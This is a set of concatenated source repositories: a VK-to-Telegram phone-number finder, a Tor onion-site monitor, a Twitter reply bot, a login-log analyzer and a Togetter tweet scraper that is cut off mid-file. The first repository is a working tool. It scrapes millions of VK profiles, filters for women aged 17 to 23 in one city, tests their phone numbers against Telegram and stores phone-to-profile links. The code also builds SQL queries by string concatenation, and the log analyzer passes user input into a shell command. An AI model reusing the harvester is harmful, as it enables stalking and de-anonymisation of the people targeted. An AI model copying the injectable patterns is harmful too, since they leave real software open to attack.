06opoTeHb/VKTelegramPhonesFinder
import sqlite3 class DatabaseWorker: def __init__(self): self.db = sqlite3.connect('DB_name.db') self.cursor = self.db.cursor() def addUser(self, user: dict): query = "INSERT INTO vk_users (id" values = [user['id']] if 'mobile_phone' in user.keys(): query += ', mobile' values.append(user['mobile_phone']) if 'home_phone' in user.keys(): query += ', home' values.append(user['home_phone']) query += ") VALUES(" for el in values: query += "'" + str(el) + "'," query = query[:-1] + ')' self.cursor.execute(query) self.db.commit() def getAllUsers(self): self.cursor.execute("SELECT * FROM vk_users") return self.cursor.fetchall() def makeLink(self, id: str): return "https://vk.com/id" + id def addPhone(self, id: str, phone: str): print("New Telegam with phone: " + phone) self.cursor.execute("INSERT INTO phones (phone, link) " "VALUES('" + phone + "', '" + self.makeLink(id) + "')") self.db.commit() def delteAllUsers(self): self.cursor.execute('DELETE FROM vk_users') self.db.commit() --- FILE SEPARATOR --- import datetime import random import time from queue import Queue import telethon from telethon import TelegramClient from telethon.tl.functions.contacts import ImportContactsRequest, DeleteContactRequest from telethon.tl.types import InputPhoneContact from Workers.DatabaseWorker import DatabaseWorker class TelegramWorker: def __init__(self, queue: Queue): self.client = TelegramClient('test', 'app_id', 'app_hash') self.client.start() self.db = DatabaseWorker() self.queue = queue def _add(self, phone): try: contact = self.client(ImportContactsRequest([InputPhoneContact(client_id=0, phone=phone, first_name="TEST", last_name="test")])).imported except telethon.errors.rpcerrorlist.FloodWaitError as error: print('Telegram exception error') time.sleep(error.seconds + random.uniform(1, 3)) return self._add(phone) return contact def _remove(self, id): self.client(DeleteContactRequest(id)) def _check(self, phone): contact = self._add(phone) if len(contact) > 0: self._remove(contact[0].user_id) return True return False def checkNumbers(self, users): print('Telegram process starts ' + str(datetime.datetime.now())) for user in users: if user[1] is not None and self._check(user[1]): self.db.addPhone(str(user[0]), user[1]) if user[2] is not None and self._check(user[2]): self.db.addPhone(str(user[0]), user[2]) time.sleep(random.uniform(1, 3)) def checkInQueue(self): while True: user = self.queue.get() print('Check user in Telegram: ' + str(user['id'])) if 'mobile_phone' in user.keys() and self._check(user['mobile_phone']): self.db.addPhone(str(user['id']), user['mobile_phone']) if 'home_phone' in user.keys() and self._check(user['home_phone']): self.db.addPhone(str(user['id']), user['home_phone']) --- FILE SEPARATOR --- import datetime import random import time import re from queue import Queue from threading import Thread import requests from vk_api import vk_api from Workers.DatabaseWorker import DatabaseWorker class VKUsersWorker: def _auth(self): vk_session = vk_api.VkApi('login', 'pass') vk_session.auth() self.vk = vk_session.get_api() def __init__(self, settings: dict, queue: Queue): self._auth() self.receivingFinished = False self.usersQueue = Queue() self.queue = queue self.startId = settings.get('startId') self.finishId = settings.get('finishId') self.cityId = settings.get('cityId') self.ageFrom = settings.get('ageFrom') self.ageTo = settings.get('ageTo') self.sex = settings.get('sex') def start(self): thr = Thread(target=self._usersQueueProcessing) thr.start() for i in range(self.startId, self.finishId+1000, 1000): time.sleep(random.uniform(1, 3)) try: for user in self.vk.users.get(user_ids=VKUsersWorker._makeUserIds(i), fields='contacts,city,bdate,sex'): self.usersQueue.put(user) except (requests.exceptions.ConnectionError, ConnectionResetError, TimeoutError): print('Exception ' + str(datetime.datetime.now())) self._auth() i -= 1000 time.sleep(60) continue print("Id: " + str(i) + ' ' + str(datetime.datetime.now())) self.receivingFinished = True thr.join() @staticmethod def _makeNormalPhone(phone: str): new = re.sub('[^+\d]', '', phone) length = len(new) if length == 10 and new[0] == '9': return '+7' + new elif length == 11 and (new[0] == '7' or new[0] == '8'): return '+7' + new[1:] elif length == 12 and new[0:3] == '+79': return new return None def _usersQueueProcessing(self): db = DatabaseWorker() while not self.receivingFinished or not self.usersQueue.empty(): user = self._validateUser(self.usersQueue.get()) if user is not None: self.queue.put(user) db.addUser(user) def _isAgeValid(self, age): if self.ageTo is not None: return age in range(self.ageFrom, self.ageTo + 1) if self.ageFrom != 0: return age > self.ageFrom return False def _validateUser(self, user: dict): obj = {} if self.cityId is not None: if 'city' in user.keys(): if user['city']['id'] != self.cityId: return None else: return None if self.sex is not None: if 'sex' not in user.keys() or user['sex'] != self.sex: return None if self.ageFrom != 0 or self.ageTo is not None: if 'bdate' in user.keys(): bdateArray = user['bdate'].split('.') if (len(bdateArray) != 3 or not self._isAgeValid(datetime.datetime.now().year - int(user['bdate'].split('.')[2]))): return None else: return None if 'home_phone' in user.keys(): phone = VKUsersWorker._makeNormalPhone(user['home_phone']) if phone is not None: obj['home_phone'] = phone if 'mobile_phone' in user.keys(): phone = VKUsersWorker._makeNormalPhone(user['mobile_phone']) if phone is not None: obj['mobile_phone'] = phone if len(obj.keys()) > 0: obj['id'] = user['id'] return obj return None @staticmethod def _makeUserIds(offset: int): userIds = '' for i in range(offset, offset + 1000): userIds += (str(i) + ',') return userIds[:-1] --- FILE SEPARATOR --- from queue import Queue from threading import Thread from Workers.TelegramWorker import TelegramWorker from Workers.VKUsersWorker import VKUsersWorker def telegramWorkerProcessing(): TelegramWorker(queue).checkInQueue() queue = Queue() settings = dict( startId=1, finishId=10000000, sex=1, ageFrom=17, ageTo=23, cityId=1 ) Thread(target=telegramWorkerProcessing).start() VKUsersWorker(settings, queue=queue).start()
[ "/Workers/DatabaseWorker.py", "/Workers/TelegramWorker.py", "/Workers/VKUsersWorker.py", "/index.py" ]
06opoTeHb/onion_eye
import os from flask import Flask from celery import Celery import redis from .config import Config celery = Celery( __name__, broker=Config.BROKER_URL, backend=Config.RESULT_BACKEND ) def create_app(): app = Flask(__name__) app.config.from_object(Config) Config.init_app(app) # ensure the instance folder exists try: os.makedirs(app.instance_path) except OSError: pass app.redis = redis.from_url( app.config['REDIS_URL'], decode_responses=True) from .web.views import views as web_views_bp from .api.views import views as api_views_bp app.register_blueprint(api_views_bp, url_prefix='/api') app.register_blueprint(web_views_bp) return app --- FILE SEPARATOR --- from flask import Blueprint, current_app, request from onion_eye import tasks, utils import json views = Blueprint('api', __name__) @views.route("/list") def list_site(): onion_list = [] onion_list_keys = current_app.redis.keys( 'onion_eye:*' ) for each in onion_list_keys: onion_list.append(json.loads(current_app.redis.get( each ))) return json.dumps(onion_list, default=utils.data_converter) @views.route("/add", methods=['POST']) def add_page(): if request.method == 'POST': data = request.get_json() print(str(data['site'])) onion_site = data['site'] tasks.initial_fetch.apply_async((onion_site,)) status = { 'site': onion_site, } return status @views.route("/search") def search_page(): if request.args.get('q'): query = request.args.get('q') result = current_app.redis.keys( 'onion_eye:*{0}*'.format(query) ) result_list = [] for each in result: result_list.append(json.loads(current_app.redis.get(each))) return json.dumps(result_list, default=utils.data_converter) return json.dumps([]) --- FILE SEPARATOR --- #!/usr/bin/env python from onion_eye import celery, create_app app = create_app() app.app_context().push() --- FILE SEPARATOR --- import os class Config: SECRET_KEY = os.environ.get( 'SECRET_KEY', default='dev') REDIS_URL = os.environ.get( 'REDIS_URL', default='redis://localhost:6379') BROKER_URL = os.getenv( 'BROKER_URL', default='redis://localhost:6379') RESULT_BACKEND = os.environ.get( 'RESULT_BACKEND', default='redis://localhost:6379') TOR_PROXY = os.environ.get( 'TOR_PROXY', default='socks5h://localhost:9050') REQUESTS_PROXY = { 'http': TOR_PROXY, 'https': TOR_PROXY } @staticmethod def init_app(app): pass --- FILE SEPARATOR --- from flask import current_app from onion_eye import celery, utils from onion_eye.config import Config import requests import json import datetime as dt from urllib.parse import urlparse from tldextract import extract celery.conf.beat_schedule = { 'task-looper': { 'task': 'onion_eye.tasks.looper', 'schedule': 600, } } @celery.task() def initial_fetch(onion_site): url_parse = urlparse(onion_site) if url_parse.scheme not in ['http', 'https']: pass url_tld = extract(onion_site) if url_tld.suffix != 'onion': pass try: result = requests.get( onion_site, proxies=Config.REQUESTS_PROXY, verify=False, ) except Exception as e: return {'error': True, 'error_stack': repr(e)} if result.status_code == 200: data = {} data['site'] = result.url data['online'] = True data['last_seen_online'] = dt.datetime.now() data['last_ping'] = data['last_seen_online'] data['next_ping'] = data['last_ping'] + dt.timedelta(hours=1) url_parse = urlparse(result.url) key = "onion_eye:{0}://{1}".format(url_parse.scheme, url_parse.netloc) current_app.redis.set( key, json.dumps(data, default=utils.data_converter)) return {'site': onion_site, 'success': True} else: return {'site': onion_site, 'success': False} @celery.task() def looper(): counter = 0 onion_site_keys = current_app.redis.keys('onion_eye:*') for each in onion_site_keys: data = json.loads(current_app.redis.get(each)) next_ping = utils.to_dt(data['next_ping']) if next_ping < dt.datetime.now(): fetch.apply_async((each, data)) counter += 1 return {'fetch': counter} @celery.task() def fetch(key, data): try: result = requests.get( data['site'], proxies=Config.REQUESTS_PROXY, verify=False, ) except Exception as e: data['online'] = False data['next_ping'] = dt.datetime.now() + ( (utils.to_dt(data['next_ping']) - utils.to_dt(data['last_ping'])) * 2) data['last_ping'] = dt.datetime.now() current_app.redis.set( key, json.dumps(data, default=utils.data_converter) ) return { 'site': data['site'], 'online': data['online'], 'status': 'Error', 'error_stack': repr(e) } if result.status_code == 200: data['online'] = True data['last_seen_online'] = dt.datetime.now() data['next_ping'] = dt.datetime.now() + \ dt.timedelta(hours=1) else: data['online'] = False data['next_ping'] = dt.datetime.now() + ( (utils.to_dt(data['next_ping']) - utils.to_dt(data['last_ping'])) * 2) data['last_ping'] = dt.datetime.now() current_app.redis.set(key, json.dumps(data, default=utils.data_converter)) return {'site': data['site'], 'online': data['online']} """ redis schema onion:<link> json schema site: http://.onion:8080 online: true last_seen_online: last_ping: next_ping: """ --- FILE SEPARATOR --- import datetime as dt def data_converter(o): if isinstance(o, dt.datetime): return o.__str__() def to_dt(o): return dt.datetime.fromisoformat(o) --- FILE SEPARATOR --- from flask import Blueprint, current_app, request, render_template from onion_eye import tasks from wtforms import Form, StringField, validators import json views = Blueprint('web', __name__) class OnionForm(Form): onion_site = StringField('Onion Site', [validators.URL()]) @views.route("/") @views.route("/list") def list_site(): onion_list = [] onion_list_keys = current_app.redis.keys( 'onion_eye:*' ) for each in onion_list_keys: onion_list.append(json.loads(current_app.redis.get( each ))) return render_template('list.html', site_list=onion_list) @views.route("/add", methods=['GET', 'POST']) def add_page(): form = OnionForm(request.form) if request.method == 'POST' and form.validate(): onion_site = form.onion_site.data task = tasks.initial_fetch.apply_async((onion_site,)) status = { 'site': onion_site, 'id': task.id } return render_template('add.html', form=form, status=status) return render_template('add.html', form=form) @views.route("/search") def search_page(): if request.args.get('q'): query = request.args.get('q') result = current_app.redis.keys( 'onion_eye:*{0}*'.format(query) ) if result: result_list = [] for each in result: result_list.append(json.loads(current_app.redis.get(each))) return render_template( 'search.html', q=query, list=result_list ) else: return render_template( 'search.html', q=query, result='none', ) return render_template('search.html')
[ "/onion_eye/__init__.py", "/onion_eye/api/views.py", "/onion_eye/celery_worker.py", "/onion_eye/config.py", "/onion_eye/tasks.py", "/onion_eye/utils.py", "/onion_eye/web/views.py" ]
07Abhinavkapoor/Twitter-Bot
import tweepy import config import time import tbot class TwitterBot: """ To create and run a twitter bot. Methods: authorize - To verify the user. get_last_mention_id - To get the last mention id, which is already seen. write_last_mention_id - To update the last seen mention id. activate_bot - To activate the bot. perform_actions - Take appropriate action on the mention. check_for_activation_trigger - To see if the mention text contains the phrase to which the bot will write a reply. """ def __init__(self): self.api = self.authorize() def authorize(self): """ To verify the user. Parameters: None Returns tweepy.API object. """ auth = tweepy.OAuthHandler(config.CONSUMER_KEY, config.CONSUMER_SECRET) auth.set_access_token(config.ACCESS_TOKEN, config.ACCESS_TOKEN_SECRET) return tweepy.API(auth) def get_last_mention_id(self): """ To get the last seen mention id. Parameters: None Returns: string - The last seen mention id. """ try: with open("last_mention_id.txt", "r") as file: data = file.readline().strip() return data except FileNotFoundError: with open("last_mention_id.txt", "a") as file: pass return self.get_last_mention_id() def write_last_mention_id(self, id): """ To update the last seen mention id. Parameters: id(int) - The id which is to be written into the file. Returns: None """ with open("last_mention_id.txt", "w") as file: file.write(str(id)) def activate_bot(self): """ To activate the twitter bot. Parameters: None Returns: None """ print("Twitter Bot Activated") while True: try: last_id = self.get_last_mention_id() if last_id == "": mentions = self.api.mentions_timeline() else: mentions = self.api.mentions_timeline(int(last_id)) for mention in reversed(mentions): self.perform_action(mention) except tweepy.TweepError: # If an exception occurs, generally if will be tweepy.RateLimitError and in that case the bot will sleep for 15 minutes. time.sleep(60 * 15) def perform_action(self, mention): """ To perform certains actions to the mention. If the mention contains a particular phrase then write a responce to that tweet else retweet the mention tweet. Like all the mention tweets. Parameters: mentions(tweepy.models.ResultSet) - Contains all the data about the mention tweet. Returns: None """ mention_id = mention.id mention_text = mention.text if self.check_for_activation_trigger(mention_text): reply = f"@{mention.user.screen_name} {tbot.responce}" self.api.update_status(reply, mention_id) else: self.api.retweet(mention_id) self.write_last_mention_id(mention_id) self.api.create_favorite(mention_id) print(f"Mention-id cleared {mention_id}") time.sleep(15) def check_for_activation_trigger(self, mention_text): """ To check if the mention tweet contains a certain phrase. Parameters: mention_text(string) - The text in which we have to check for the phrase. Returns: boolean - True if the phrase is present else False. """ activation_trigger_present = False if len(tbot.phrase.split()) == 1: if tbot.phrase.lower() in mention_text.lower().split(): activation_trigger_present = True else: if tbot.phrase.lower() in mention_text.lower(): activation_trigger_present = True return activation_trigger_present if __name__ == "__main__": twitter_bot = TwitterBot() twitter_bot.activate_bot() --- FILE SEPARATOR --- phrase = "#helloworld" responce = "#helloworld back to you"
[ "/app.py", "/tbot.py" ]
07spider70/analyze_jupy
re_how_m_times = 'was login %d times in last %d days' input_l='Date in english format: ' name_l='Input name: ' days_l = 'Number of days: ' --- FILE SEPARATOR --- re_how_m_times = 'bol/a prihlaseny/a %d krat za poslednych %d dni' input_l='Datum v en formate: ' name_l = 'Zadaj meno: ' days_l = 'Pocet dni: ' --- FILE SEPARATOR --- import subprocess as sub import json def open_json(data_f='config.json'): #open json config file with open(data_f) as data_file: data = json.load(data_file) return(data) path = open_json()["path"] if open_json()["lang"]==0: #set lang according to config file from lang_set_sk import * else: from lang_set_en import * def zapis_config(key,value): #write to config file with open("config.json", "r+") as jsonFile: data = json.load(jsonFile) tmp = data[key] data[key] = value jsonFile.seek(0) # rewind json.dump(data, jsonFile) jsonFile.truncate() def get_proc_usr(name): #not reliable bash= 'ps aux | grep %s | wc' % name command = sub.Popen(bash, stdout=sub.PIPE,shell=True) output, error = command.communicate() return (output,error) #not reliable too def if_left_on(name): #return true if name left server in running state else return false output, error = get_proc_usr(name) print(output) print( int((output).split()[0])) if int((output).split()[0]) > 2: return True else: return False def get_data(log=path): with open(log,'r') as file: data = file.readlines() return (data) def login(date,data): #logi = [] #for i in data: #if 'logged in' in i and date in i: #logi.append(i.split(':')[-1]) return sorted(list(i.split(':')[-1] for i in data if 'logged in' in i and date in i )) #logo = [] def logout(date,data): #date must be in english format = year-month-day #for i in data: #if 'logged out' in i and date in i: #logo.append(i.split(':')[-1]) return sorted(list(i.split(':')[-1] for i in data if 'logged out' in i and date in i)) #test def neuplne(date,data): #difference between login & logout logi = login(date,data) logo = logout(date,data) #out = [] #for i in logi: # if i in logo: # pass # else: # out.append(i) return sorted(i for i in logi if i not in logo ) import datetime def last_seven_days(data,name): #return number of logins in last 7 days days, x=7,7 pocet=0 w_name='{:1}{}{}'.format(' ',name,'\n') while days!=0: that_date = str((datetime.datetime.now() - datetime.timedelta(days)).date()) arr = login(that_date,data) if w_name in arr: #while w_name in arr: #pocet+=1 #arr.remove(w_name) pocet+=arr.count(w_name) days-=1 return name,re_how_m_times % (pocet,x) def last_x_days(data,name,x): days = x pocet=0 w_name='{:1}{}{}'.format(' ',name,'\n') while days!=0: that_date = str((datetime.datetime.now() - datetime.timedelta(days)).date()) arr = login(that_date,data) if w_name in arr: #while w_name in arr: #pocet+=1 #arr.remove(w_name) pocet+=arr.count(w_name) days-=1 return name,re_how_m_times % (pocet,x) --- FILE SEPARATOR --- #!/usr/bin/python3 import argparse from lib import * parser = argparse.ArgumentParser(description='Jupy log server analyzator') parser.add_argument('-x', action='store_true',default=False,dest='x_days',help='How many times was name login in last x days') parser.add_argument('-li', action='store_true', default=False, dest='login_bool', help='Who was login in x date.') parser.add_argument('-lo', action='store_true', default=False, dest='logout_bool', help='Who was loggout in x date') #rozdiel parser.add_argument('-ro', action='store_true', default=False, dest='rozdiel', help='Difference between login/logout') #7 dni parser.add_argument('-s',action='store_true', default=False, dest='sev_days', help='How many times was name login in last 7 days') parser.add_argument('-l',action='store_true',default=False, dest='lang',help='Changes lang of output between slovak/english') results = parser.parse_args() if open_json()["lang"]==0: #set lang according to config file from lang_set_sk import * else: from lang_set_en import * def main(): if results.x_days==True: print(last_x_days(get_data(),str(input(name_l)),int(input(days_l)))) #!!!!!!!!!!!!!!!!!!!!! elif results.login_bool==True: print(login(str(input(input_l)),get_data())) elif results.logout_bool==True: print(logout(str(input(input_l)),get_data())) elif results.rozdiel==True: print(neuplne(str(input(input_l)),get_data())) elif results.lang==True: data = open_json() if data["lang"]==0: zapis_config("lang",1) else: zapis_config("lang",0) elif results.sev_days==True: print(last_seven_days(get_data(),str(input(name_l)))) else: return 'pass' if __name__=='__main__': main()
[ "/lang_set_en.py", "/lang_set_sk.py", "/lib.py", "/main_app.py" ]
085astatine/togetter
#! /usr/bin/env python # -*- coding: utf-8 -*- import logging import togetter if __name__ == '__main__': print('TogetterSample') # logger setting logger = logging.getLogger('TogetterSample') logger.setLevel(logging.DEBUG) handler = logging.StreamHandler() handler.formatter = logging.Formatter( fmt='%(name)s::%(levelname)s: %(message)s') logger.addHandler(handler) # input togetter id while True: input_id = input("input TogetterPage ID >") try: togetter_id = int(input_id) break except ValueError as error: print("your input<{0}> is invalid".format(repr(input_id))) print(str(error)) # get tweet from togetter parser = togetter.TogetterPageParser(togetter_id, logger=logger) parser.wait_time = 1.0 # save as XML xml_file = 'togetter_{0}.xml'.format(togetter_id) parser.parse().save_as_xml(xml_file) # load from XML togetter_data = togetter.Togetter.load_xml(xml_file) print(togetter_data.title) print(togetter_data.url) for tweet in togetter_data.tweet_list: print(tweet.user_name) print(tweet.tweet) print() --- FILE SEPARATOR --- # -*- coding: utf-8 -*- __all__ = [ 'Togetter', 'TogetterPageParser', 'TogetterUserPage', 'getAllPagefromUser', ] from .togetter import Togetter from .togetter_page_parser import TogetterPageParser from .togetter_user_page import TogetterUserPage, get_all_page_from_user --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import copy import datetime import pathlib from typing import List, Union import lxml.etree from .tweet import Tweet from .xml_tools import save_as_xml as _save_as_xml class Togetter(object): def __init__(self, title: str, page_id: int, url: str, access_timestamp: float, tweet_list: List[Tweet]) -> None: """Initialize""" self._title = title self._page_id = page_id self._url = url self._access_timestamp = access_timestamp self._tweet_list = tweet_list @property def title(self) -> str: return self._title @property def page_id(self) -> int: return self._page_id @property def url(self) -> str: return self._url @property def access_timestamp(self) -> float: return self._access_timestamp @property def access_time(self) -> datetime.datetime: return datetime.datetime.fromtimestamp(self.access_timestamp) @property def tweet_list(self) -> List[Tweet]: return self._tweet_list def to_etree(self) -> lxml.etree._ElementTree: # root root = lxml.etree.Element(__class__.root_tag()) etree = lxml.etree.ElementTree(root) # title title = lxml.etree.SubElement(root, 'title') title.text = self.title # id page_id = lxml.etree.SubElement(root, 'id') page_id.text = str(self.page_id) # URL url = lxml.etree.SubElement(root, 'url') url.text = self.url # AccessTime access_time = lxml.etree.SubElement(root, 'access_time') access_time.text = str(self.access_time) access_time.set('timestamp', str(self.access_timestamp)) # tweet data tweet_list = lxml.etree.SubElement(root, 'tweet_list') for i, tweet in enumerate(self.tweet_list): tweet_data = tweet.to_element() tweet_data.set('index', str(i)) tweet_list.append(tweet_data) return root @staticmethod def root_tag() -> str: return 'togetter' @staticmethod def from_etree(etree: lxml.etree._ElementTree) -> 'Togetter': assert etree.tag == __class__.root_tag(), \ 'unexpected tag: {0}'.format(etree.tag) kwargs = {} kwargs['title'] = etree.find('title').text kwargs['page_id'] = etree.find('id').text kwargs['url'] = etree.find('url').text kwargs['access_timestamp'] = float( etree.find('access_time').get('timestamp')) kwargs['tweet_list'] = [Tweet.from_element(element) for element in etree.find('tweet_list').iterchildren() if element.tag is not lxml.etree.Comment] return Togetter(**kwargs) def save_as_xml(self, filepath: Union[str, pathlib.Path], pretty_print: bool = True) -> None: """Save Togetter in the file as XML Args: filepath (str, pathlib.Path): The path of file to be output as XML pretty_print (bool) optional: Whether or not to output in pretty print Defaults to True. """ _save_as_xml(self.to_etree(), filepath, pretty_print) @classmethod def load_xml(cls, filepath: Union[str, pathlib.Path]) -> "Togetter": """load Togetter from XML file Args: filepath (str, pathlib.Path): The path of the XML file that represents Togetter Returns: Togetter: that has been generated from the XML file""" if not isinstance(filepath, pathlib.Path): filepath = pathlib.Path(filepath) xml_parser = lxml.etree.XMLParser(remove_blank_text=True) etree = lxml.etree.XML( filepath.open(encoding='utf-8').detach().read(), parser=xml_parser) return Togetter.from_etree(etree) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import datetime import logging import re import time from typing import List, Optional import requests import lxml.etree from .tweet import Tweet, TweetParser from .webpage import WebPage class TogetterPage(WebPage): def __init__( self, page_id: int, page_number: int = 1, session: requests.sessions.Session = None, logger: logging.Logger = None) -> None: """Initialize Args: page_id (int): the ID of the togetter page. page_number (int) optional: The page number of this page. Defaults to 1. session (requests.sessions.Session) optional: A Requests Session. Defaults to None. Then new Session will be created. logger (logging.Logger) optional: Logger. Defaults to None. Then new Logger will be created.""" # logger設定 if logger is None: logger = logging.getLogger(__name__) # 値設定 self._page_id = page_id self._page_number = page_number self._tweet_list = None # type: Optional[List[Tweet]] # 接続設定 url = r'http://togetter.com/li/{0}'.format(self._page_id) params = {'page': self._page_number} if self._page_number != 1 else {} WebPage.__init__( self, url, session=session, params=params, logger=logger) # logger出力 self._logger.info('{0}'.format(self.__class__.__name__)) self._logger.info(' title: {0}'.format(self.title)) self._logger.info(' URL : {0}'.format(self.url)) @property def page_id(self) -> int: return self._page_id @property def page_number(self) -> int: return self._page_number @property def title(self) -> Optional[str]: xpath = r'head/meta[@property="og:title"]' result = self.html.xpath(xpath) if len(result) == 1: return result[0].get('content') else: return None @property def csrf_token(self) -> Optional[str]: xpath = 'head/meta[@name="csrf_token"]' result = self.html.xpath(xpath) if len(result) == 1: return result[0].get('content') else: return None @property def csrf_secret(self) -> Optional[str]: return self.session.cookies.get('csrf_secret', None) @property def creator(self) -> Optional[str]: xpath = r'head/meta[@name="twitter:creator"]' data = self.html.xpath(xpath) if len(data) == 1: return data[0].get('content') else: return None def get_tweet_list(self) -> List[Tweet]: """Tweet list in this page. If 「残りを読む」 exists in this page, then load more tweets. Returns: list[Tweet] """ if self._tweet_list is None: self._tweet_list = [] # Tweet xpath = r'//body//ul[./li[@class="list_item"]]' tweet_data = self.html.xpath(xpath) if len(tweet_data) == 1: self._tweet_list.extend( _parse_tweet_data(tweet_data[0])) # More Tweets if self.more_tweets_exists(): self._tweet_list.extend( _parse_tweet_data(_get_more_tweets(self))) return self._tweet_list def more_tweets_exists(self) -> bool: """Return that whether or not 「残りを読む」 exists in this page.""" xpath = r'body//div[@class="more_tweet_box"]' return len(self.html.xpath(xpath)) == 1 def next_page(self) -> Optional['TogetterPage']: """Return the next page, if next page exists. Returns: TogetterPage: If next page exists. None: If next page does not exist.""" xpath = r'head/link[@rel="next"]' if (len(self.html.xpath(xpath)) == 1): return TogetterPage( self.page_id, page_number=self.page_number + 1, session=self.session, logger=self._logger) else: return None def prev_page(self) -> Optional['TogetterPage']: """Return the previous page, if previous page exists. Returns: TogetterPage: If previous page exists. None: If previsous page does not exist.""" xpath = r'head/link[@rel="prev"]' if (len(self.html.xpath(xpath)) == 1): return TogetterPage( self.page_id, page_number=self.page_number - 1, session=self.session, logger=self._logger) else: return None def _get_more_tweets(self: TogetterPage) -> Optional[lxml.etree._Element]: self._logger.info('get more tweets') regex = re.compile('\nvar moreTweetContent = \"(?P<content>.+)\";$') for script_node in self.html.xpath(r'//script[@type= "text/javascript"]'): if script_node.text is None: continue match = regex.match(script_node.text) if match: return lxml.html.fromstring(match.group('content') .replace(r'\/', '/') .encode('utf-8') .decode('unicode_escape')) else: self._logger.error('could not get more tweet') return None def _parse_tweet_data(tweet_etree: lxml.etree._Element) -> List[Tweet]: xpath = r'//li[@class="list_item"]/div[@class="list_box type_tweet"]' data_list = tweet_etree.xpath(xpath) return [TweetParser(data).parse() for data in data_list] --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import datetime import logging import time import pathlib from typing import Any, Dict, List, Optional, Union import requests import lxml.etree from .togetter import Togetter from .togetter_page import TogetterPage from .tweet import Tweet class TogetterPageParser(object): def __init__( self, page_id: int, session: requests.sessions.Session = None, logger: logging.Logger = None) -> None: """Initialize Args: page_id (int): the ID of the togetter page. session (requests.sessions.Session) optional: A Requests Session. Defaults to None. Then new Session will be created. logger (logging.Logger) optional: Logger. Defaults to None. Then new Logger will be created.""" # logger設定 if logger is None: logger = logging.getLogger(__name__) self._logger = logger # Wait Time self._wait_time = 1.0 # get Initial Page self._initial_page = TogetterPage( page_id, page_number=1, session=session, logger=logger) # Page List self._page_list = None # type: Optional[List[TogetterPage]] # Tweet List self._tweet_list = None # type: Optional[List[Tweet]] def load_page(self) -> None: """Load all the pages of this togetter ID.""" if self._page_list is None: self._page_list = [] self._page_list.append(self._initial_page) while True: next_page = self._page_list[-1].next_page() if next_page is None: break self._page_list.append(next_page) time.sleep(self.wait_time) def get_tweet_list(self) -> List[Tweet]: """Get Tweet list from all the pages. Returns: list[Tweet]""" if self._tweet_list is None: if self._page_list is None: self.load_page() self._tweet_list = [] for page in self._page_list: self._tweet_list.extend(page.get_tweet_list()) return self._tweet_list def parse(self) -> Togetter: """create Togetter of this togetter page ID. Returns: Togetter""" kwargs: Dict[str, Any] = {} kwargs['title'] = self._initial_page.title kwargs['page_id'] = self._initial_page.page_id kwargs['url'] = self._initial_page.url kwargs['access_timestamp'] = datetime.datetime.today().timestamp() kwargs['tweet_list'] = self.get_tweet_list() return Togetter(**kwargs) @property def wait_time(self) -> float: return self._wait_time @wait_time.setter def wait_time(self, value: float): self._wait_time = value self._logger.debug( 'set Wait Time: {0} seconds'.format(self._wait_time)) @classmethod def save_as_xml( cls, page_id: int, filepath: Union[str, pathlib.Path], logger: logging.Logger = None): """load Togetter pages, and output in the file as XML. Args: page_id (int): the ID of the togetter page. filepath (str, pathlib.Path): the path of the file to be output as XML. logger (logging.Logger) optional: Logger. Defaults to None. Then new Logger will be created. """ parser = TogetterPageParser(page_id, logger=logger) parser.parse().save_as_xml(filepath) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import logging import re import time import requests from .webpage import WebPage from .togetter_page_parser import TogetterPageParser class TogetterUserPage(WebPage): def __init__(self, user_id, page=1, session=None, logger=None): # logger設定 if logger is None: logger = logging.getLoger(__name__) # 値設定 self._user_id = user_id self._page_number = page # 接続 url = r'http://togetter.com/id/{0}'.format(user_id) params = {'page': page} if page != 1 else {} if session is None: session = requests.session() self._session = session WebPage.__init__(self, url, params=params, session=self._session, logger=logger) # logger出力 self._logger.info('{0}'.format(self.__class__.__name__)) self._logger.info(' user id: {0}'.format(self._user_id)) self._logger.info(' page : {0}'.format(self._page_number)) self._logger.info(' URL : {0}'.format(self.url)) @property def user_id(self): return self._user_id @property def page_number(self): return self._page_number def get_page_list(self): xpath = r'//ul[@class="simple_list"]/li[@class]' return [TogetterPageInfo(data) for data in self.html.xpath(xpath)] def next_page(self): xpath = r'head/link[@rel="next"]' if (len(self.html.xpath(xpath)) == 1): return TogetterUserPage(self.user_id, page=self.page_number + 1, session=self._session, logger=self._logger) else: return None def prev_page(self): xpath = r'head/link[@rel="prev"]' if (len(self.html.xpath(xpath)) == 1): return TogetterUserPage(self.user_id, page=self.page_number - 1, session=self._session, logger=self._logger) else: return None class TogetterPageInfo(object): def __init__(self, element): self._element = element @property def element(self): return self._element @property def url(self): xpath = r'./div[@class="inner"]/a[@href]' data = self.element.xpath(xpath) if len(data) == 1: return data[0].get('href') else: return None @property def title(self): xpath = r'./div[@class="inner"]/a[@href]/h3[@title]' data = self.element.xpath(xpath) if len(data) == 1: return data[0].text else: return None @property def page_id(self): url = self.url if url is not None: regex = re.match(r'http://togetter.com/li/(?P<id>[0-9]+)', url) if regex: return int(regex.group('id')) else: return None else: return None def open(self, session=None, logger=None): page_id = self.page_id if page_id is not None: return TogetterPageParser( page_id, session=session, logger=logger) else: return None def get_all_page_from_user( user_id, session=None, logger=None, wait_time=0.2): user_page = TogetterUserPage(user_id, session=session, logger=logger) while user_page is not None: for page_data in user_page.get_page_list(): yield page_data user_page = user_page.next_page() time.sleep(wait_time) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import datetime as _datetime from collections import OrderedDict from typing import Any, Dict import lxml.etree class Tweet(object): def __init__(self, tweet: str, tweet_link: str, user_id: str, user_name: str, user_link: str, timestamp: int) -> None: """Initialize""" self._tweet = tweet self._tweet_link = tweet_link self._user_id = user_id self._user_name = user_name self._user_link = user_link self._timestamp = timestamp @property def tweet(self) -> str: return self._tweet @property def tweet_link(self) -> str: return self._tweet_link @property def user_id(self) -> str: return self._user_id @property def user_name(self) -> str: return self._user_name @property def user_link(self) -> str: return self._user_link @property def timestamp(self) -> int: return self._timestamp @property def datetime(self) -> _datetime.datetime: return _datetime.datetime.fromtimestamp(self._timestamp) def to_element(self) -> lxml.etree._ElementTree: """Create etree element""" root = lxml.etree.Element(__class__.root_tag()) # user user_attribute = OrderedDict([ ('id', self.user_id), ('name', self.user_name), ('link', self.user_link), ]) user = lxml.etree.SubElement(root, 'user', attrib=user_attribute) # link link = lxml.etree.SubElement(root, 'link') link.text = self.tweet_link # tweet tweet = lxml.etree.SubElement(root, 'tweet') tweet.text = self.tweet # datetime date = 